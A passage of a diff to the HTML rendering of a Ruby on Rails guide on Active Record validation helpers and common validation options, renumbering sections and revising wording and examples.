http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_confirmation_of <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In your view template you could use something like</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In your view template you could use something like</p></div>
<div class="listingblock">
-<div class="content">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
<pre><tt>&lt;%= text_field :person, :email %&gt;
-&lt;%= text_field :person, :email_confirmation %&gt;</tt></pre>
-</div></div>
+&lt;%= text_field :person, :email_confirmation %&gt;</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">This check is performed only if <tt>email_confirmation</tt> is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at <tt>validates_presence_of</tt> later on this guide):</td>
+<td class="content">This check is performed only if <tt>email_confirmation</tt> is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we&#8217;ll take a look at <tt>validates_presence_of</tt> later on this guide):</td>
</tr></table>
</div>
<div class="listingblock">
@@ -499,25 +346,10 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_confirmation_of <span style="color: #990000">:</span>email
validates_presence_of <span style="color: #990000">:</span>email_confirmation
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_confirmation_of</tt> is "<em>doesn't match confirmation</em>"</p></div>
-<h3 id="_the_tt_validates_each_tt_helper">3.4. The <tt>validates_each</tt> helper</h3>
-<div class="para"><p>This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to <tt>validates_each</tt> will be tested against it. In the following example, we don't want names and surnames to begin with lower case.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_each <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>surname <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>model<span style="color: #990000">,</span> attr<span style="color: #990000">,</span> value<span style="color: #990000">|</span>
- model<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>add<span style="color: #990000">(</span>attr<span style="color: #990000">,</span> <span style="color: #FF0000">'Must start with upper case'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> value <span style="color: #990000">=~</span> <span style="color: #FF6600">/^[a-z]/</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.</p></div>
-<h3 id="_the_tt_validates_exclusion_of_tt_helper">3.5. The <tt>validates_exclusion_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The default error message for <tt>validates_confirmation_of</tt> is "<em>doesn&#8217;t match confirmation</em>"</p></div>
+<h3 id="_the_tt_validates_exclusion_of_tt_helper">2.4. The <tt>validates_exclusion_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -526,12 +358,11 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MovieFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_exclusion_of <span style="color: #990000">:</span>format<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>mov avi<span style="color: #990000">),</span>
<span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Extension %s is not allowed"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>validates_exclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will not be accepted for the validated attributes. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you'd like to. In the previous example we used the <tt>:message</tt> option to show how we can personalize it with the current attribute's value, through the <tt>%s</tt> format mask.</p></div>
-<div class="para"><p>The default error message for <tt>validates_exclusion_of</tt> is "<em>is not included in the list</em>".</p></div>
-<h3 id="_the_tt_validates_format_of_tt_helper">3.6. The <tt>validates_format_of</tt> helper</h3>
-<div class="para"><p>This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the <tt>:with</tt> option.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>validates_exclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will not be accepted for the validated attributes. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you&#8217;d like to. This example uses the <tt>:message</tt> option to show how you can personalize it with the current attribute&#8217;s value, through the <tt>%s</tt> format mask.</p></div>
+<div class="paragraph"><p>The default error message for <tt>validates_exclusion_of</tt> is "<em>is not included in the list</em>".</p></div>
+<h3 id="_the_tt_validates_format_of_tt_helper">2.5. The <tt>validates_format_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the <tt>:with</tt> option.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -540,11 +371,10 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_format_of <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[a-zA-Z]+$/</span><span style="color: #990000">,</span>
<span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Only letters allowed"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_format_of</tt> is "<em>is invalid</em>".</p></div>
-<h3 id="_the_tt_validates_inclusion_of_tt_helper">3.7. The <tt>validates_inclusion_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The default error message for <tt>validates_format_of</tt> is "<em>is invalid</em>".</p></div>
+<h3 id="_the_tt_validates_inclusion_of_tt_helper">2.6. The <tt>validates_inclusion_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -553,12 +383,11 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span>
<span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>validates_inclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will be accepted. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you'd like to. In the previous example we used the <tt>:message</tt> option to show how we can personalize it with the current attribute's value, through the <tt>%s</tt> format mask.</p></div>
-<div class="para"><p>The default error message for <tt>validates_inclusion_of</tt> is "<em>is not included in the list</em>".</p></div>
-<h3 id="_the_tt_validates_length_of_tt_helper">3.8. The <tt>validates_length_of</tt> helper</h3>
-<div class="para"><p>This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>validates_inclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will be accepted. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you&#8217;d like to. The previous example uses the <tt>:message</tt> option to show how you can personalize it with the current attribute&#8217;s value, through the <tt>%s</tt> format mask.</p></div>
+<div class="paragraph"><p>The default error message for <tt>validates_inclusion_of</tt> is "<em>is not included in the list</em>".</p></div>
+<h3 id="_the_tt_validates_length_of_tt_helper">2.7. The <tt>validates_length_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates the length of your attribute&#8217;s value. It includes a variety of different options, so you can specify length constraints in different ways:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -569,10 +398,9 @@ http://www.gnu.org/software/src-highlite -->
validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>maximum <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
validates_length_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span><span style="color: #990000">..</span><span style="color: #993399">20</span>
validates_length_of <span style="color: #990000">:</span>registration_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>is <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The possible length constraint options are:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The possible length constraint options are:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:minimum</tt> - The attribute cannot have less than the specified length.
@@ -594,7 +422,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>The default error messages depend on the type of length validation being performed. You can personalize these messages, using the <tt>:wrong_length</tt>, <tt>:too_long</tt> and <tt>:too_short</tt> options and the <tt>%d</tt> format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the <tt>:message</tt> option to specify an error message.</p></div>
+<div class="paragraph"><p>The default error messages depend on the type of length validation being performed. You can personalize these messages, using the <tt>:wrong_length</tt>, <tt>:too_long</tt> and <tt>:too_short</tt> options and the <tt>%d</tt> format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the <tt>:message</tt> option to specify an error message.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -602,12 +430,11 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>too_long <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"you're writing too much. %d characters is the maximum allowed."</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This helper has an alias called <tt>validates_size_of</tt>, it's the same helper with a different name. You can use it if you'd like to.</p></div>
-<h3 id="_the_tt_validates_numericality_of_tt_helper">3.9. The <tt>validates_numericality_of</tt> helper</h3>
-<div class="para"><p>This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the <tt>:integer_only</tt> option set to true, you can specify that only integral numbers are allowed.</p></div>
-<div class="para"><p>If you use <tt>:integer_only</tt> set to <tt>true</tt>, then it will use the <tt><span>/\A[+\-]?\d+\Z/</span></tt> regular expression to validate the attribute's value. Otherwise, it will try to convert the value using <tt>Kernel.Float</tt>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>validates_size_of</tt> helper is an alias for <tt>validates_length_of</tt>.</p></div>
+<h3 id="_the_tt_validates_numericality_of_tt_helper">2.8. The <tt>validates_numericality_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the <tt>:integer_only</tt> option set to true, you can specify that only integral numbers are allowed.</p></div>
+<div class="paragraph"><p>If you set <tt>:integer_only</tt> to <tt>true</tt>, then it will use the <tt>$$/\A[</tt>\-]?\d+\Z/<tt> regular expression to validate the attribute&#8217;s value. Otherwise, it will try to convert the value to a number using +Kernel.Float</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -615,12 +442,49 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Player <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_numericality_of <span style="color: #990000">:</span>points
- validates_numericality_of <span style="color: #990000">:</span>games_played<span style="color: #990000">,</span> <span style="color: #990000">:</span>integer_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_numericality_of</tt> is "<em>is not a number</em>".</p></div>
-<h3 id="_the_tt_validates_presence_of_tt_helper">3.10. The <tt>validates_presence_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attributes are not empty. It uses the <tt>blank?</tt> method to check if the value is either <tt>nil</tt> or an empty string (if the string has only spaces, it will still be considered empty).</p></div>
+ validates_numericality_of <span style="color: #990000">:</span>games_played<span style="color: #990000">,</span> <span style="color: #990000">:</span>only_integer <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Besides <tt>:only_integer</tt>, the <tt>validates_numericality_of</tt> helper also accepts the following options to add constraints to acceptable values:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<tt>:greater_than</tt> - Specifies the value must be greater than the supplied value. The default error message for this option is "<em>must be greater than (value)</em>"
+</p>
+</li>
+<li>
+<p>
+<tt>:greater_than_or_equal_to</tt> - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "<em>must be greater than or equal to (value)</em>"
+</p>
+</li>
+<li>
+<p>
+<tt>:equal_to</tt> - Specifies the value must be equal to the supplied value. The default error message for this option is "<em>must be equal to (value)</em>"
+</p>
+</li>
+<li>
+<p>
+<tt>:less_than</tt> - Specifies the value must be less than the supplied value. The default error message for this option is "<em>must e less than (value)</em>"
+</p>
+</li>
+<li>
+<p>
+<tt>:less_than_or_equal_to</tt> - Specifies the value must be less than or equal the supplied value. The default error message for this option is "<em>must be less or equal to (value)</em>"
+</p>
+</li>
+<li>
+<p>
+<tt>:odd</tt> - Specifies the value must be an odd number if set to true. The default error message for this option is "<em>must be odd</em>"
+</p>
+</li>
+<li>
+<p>
+<tt>:even</tt> - Specifies the value must be an even number if set to true. The default error message for this option is "<em>must be even</em>"
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>The default error message for <tt>validates_numericality_of</tt> is "<em>is not a number</em>".</p></div>
+<h3 id="_the_tt_validates_presence_of_tt_helper">2.9. The <tt>validates_presence_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates that the specified attributes are not empty. It uses the <tt>blank?</tt> method to check if the value is either <tt>nil</tt> or an empty string (if the string has only spaces, it will still be considered empty).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -628,14 +492,13 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.</td>
+<td class="content">If you want to be sure that an association is present, you&#8217;ll need to test whether the foreign key used to map the association is present, and not the associated object itself.</td>
</tr></table>
</div>
<div class="listingblock">
@@ -646,19 +509,18 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>order
validates_presence_of <span style="color: #990000">:</span>order_id
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in &#8658; [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # &#8658; true</td>
+<td class="content">If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in =&gt; [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # =&gt; true</td>
</tr></table>
</div>
-<div class="para"><p>The default error message for <tt>validates_presence_of</tt> is "<em>can't be empty</em>".</p></div>
-<h3 id="_the_tt_validates_uniqueness_of_tt_helper">3.11. The <tt>validates_uniqueness_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.</p></div>
+<div class="paragraph"><p>The default error message for <tt>validates_presence_of</tt> is "<em>can&#8217;t be empty</em>".</p></div>
+<h3 id="_the_tt_validates_uniqueness_of_tt_helper">2.10. The <tt>validates_uniqueness_of</tt> helper</h3>
+<div class="paragraph"><p>This helper validates that the attribute&#8217;s value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -666,10 +528,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_uniqueness_of <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.</p></div>
-<div class="para"><p>There is a <tt>:scope</tt> option that you can use to specify other attributes that must be used to define uniqueness:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The validation happens by performing a SQL query into the model&#8217;s table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.</p></div>
+<div class="paragraph"><p>There is a <tt>:scope</tt> option that you can use to specify other attributes that are used to limit the uniqueness check:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -678,9 +539,8 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Holiday <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>year<span style="color: #990000">,</span>
<span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Should happen once per year"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There is also a <tt>:case_sensitive</tt> option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>There is also a <tt>:case_sensitive</tt> option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -688,15 +548,27 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>case_sensitive <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_uniqueness_of</tt> is "<em>has already been taken</em>".</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The default error message for <tt>validates_uniqueness_of</tt> is "<em>has already been taken</em>".</p></div>
+<h3 id="_the_tt_validates_each_tt_helper">2.11. The <tt>validates_each</tt> helper</h3>
+<div class="paragraph"><p>This helper validates attributes against a block. It doesn&#8217;t have a predefined validation function. You should create one using a block, and every attribute passed to <tt>validates_each</tt> will be tested against it. In the following example, we don&#8217;t want names and surnames to begin with lower case.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_each <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>surname <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>model<span style="color: #990000">,</span> attr<span style="color: #990000">,</span> value<span style="color: #990000">|</span>
+ model<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>add<span style="color: #990000">(</span>attr<span style="color: #990000">,</span> <span style="color: #FF0000">'Must start with upper case'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> value <span style="color: #990000">=~</span> <span style="color: #FF6600">/^[a-z]/</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The block receives the model, the attribute&#8217;s name and the attribute&#8217;s value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.</p></div>
</div>
-<h2 id="_common_validation_options">4. Common validation options</h2>
+<h2 id="_common_validation_options">3. Common Validation Options</h2>
<div class="sectionbody">
-<div class="para"><p>There are some common options that all the validation helpers can use. Here they are, except for the <tt>:if</tt> and <tt>:unless</tt> options, which we'll cover right at the next topic.</p></div>
-<h3 id="_the_tt_allow_nil_tt_option">4.1. The <tt>:allow_nil</tt> option</h3>
-<div class="para"><p>You may use the <tt>:allow_nil</tt> option everytime you want to trigger a validation only if the value being validated is not <tt>nil</tt>. You may be asking yourself if it makes any sense to use <tt>:allow_nil</tt> and <tt>validates_presence_of</tt> together. Well, it does. Remember, validation will be skipped only for <tt>nil</tt> attributes, but empty strings are not considered <tt>nil</tt>.</p></div>
+<div class="paragraph"><p>There are some common options that all the validation helpers can use. Here they are, except for the <tt>:if</tt> and <tt>:unless</tt> options, which are discussed later in the conditional validation topic.</p></div>
+<h3 id="_the_tt_allow_nil_tt_option">3.1. The <tt>:allow_nil</tt> option</h3>
+<div class="paragraph"><p>The <tt>:allow_nil</tt> option skips the validation when the value being validated is <tt>nil</tt>. You may be asking yourself if it makes any sense to use <tt>:allow_nil</tt> and <tt>validates_presence_of</tt> together. Well, it does. Remember, the validation will be skipped only for <tt>nil</tt> attributes, but empty strings are not considered <tt>nil</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -705,12 +577,24 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span>
<span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_nil <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_the_tt_allow_blank_tt_option">3.2. The <tt>:allow_blank</tt> option</h3>
+<div class="paragraph"><p>The <tt>:allow_blank: option is similar to the +:allow_nil</tt> option. This option will let validation pass if the attribute&#8217;s value is <tt>nil</tt> or an empty string, i.e., any value that returns <tt>true</tt> for <tt>blank?</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Topic <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>is <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_blank <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_the_tt_message_tt_option">4.2. The <tt>:message</tt> option</h3>
-<div class="para"><p>As stated before, the <tt>:message</tt> option lets you specify the message that will be added to the <tt>errors</tt> collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.</p></div>
-<h3 id="_the_tt_on_tt_option">4.3. The <tt>:on</tt> option</h3>
-<div class="para"><p>As stated before, the <tt>:on</tt> option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use <tt>:on =<span>&gt;</span> :create</tt> to run the validation only when a new record is created or <tt>:on =<span>&gt;</span> :update</tt> to run the validation only when a record is updated.</p></div>
+
+Topic<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"title"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">""</span><span style="color: #990000">).</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span>
+Topic<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"title"</span> <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">).</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span></tt></pre></div></div>
+<h3 id="_the_tt_message_tt_option">3.3. The <tt>:message</tt> option</h3>
